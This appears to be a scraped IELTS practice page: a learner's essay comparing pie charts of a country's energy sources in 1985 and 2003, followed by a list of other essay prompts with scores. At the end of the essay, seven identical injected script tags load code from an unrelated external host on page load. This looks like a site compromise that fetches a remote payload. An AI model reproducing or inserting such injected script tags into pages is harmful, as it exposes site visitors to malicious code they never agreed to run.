The two pie charts illustrate, the proportion of six different energy sources in a country in 1985 and 2003. Units are measured in percentage.
Overall, oil is the main energy source in both the years though, there is a significant improvement in natural gas energy.
In 1985, more than half of the energy was generated from oil with 52% and the least amount of energy from hydrogen and other renewable approximately 4%and 1% respectively. Likewise, natural gas energy accounts for about 13% and coal with 8%. Nuclear energy stands at second place with 22% this year.
On the other hand, after 18 years a dramatic decline in oil energy sources with only 39%. Natural gas and coal energy enhance production from 13% to 23% and 8% to 13% respectively in 2003. Other renewable sources also has a 3% improvement in 2003 when compared to the previous year. However, hydrogen energy remains the same at 4% in both years.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- Some people say that the main environmental problem of our time is the loss of particular species of plants and animals Others say that there are more important environmental problems Discuss both views and give your opinion 73
- When talking about success, we often think of people who are rich or famous. In your opinion, what are the qualities that characterise a successful person? Why do you think these should be the criteria? Give reasons for your answer and include any relevan 73
- with an increasing population communicating via the internet text messaging and face to face communication will become a thing of the past to what extent do you agree or disagree 78
- Some companies sponsors sports as a way of advertise themselves Some people think it is good while others think there are disadvantages Discuss both views and give your opinion 67
- Some people believe that the Olympics Games do not have a role in the 21st Century Do you agree or disagree with this statement Give reasons for your answer and include examples from your experience 96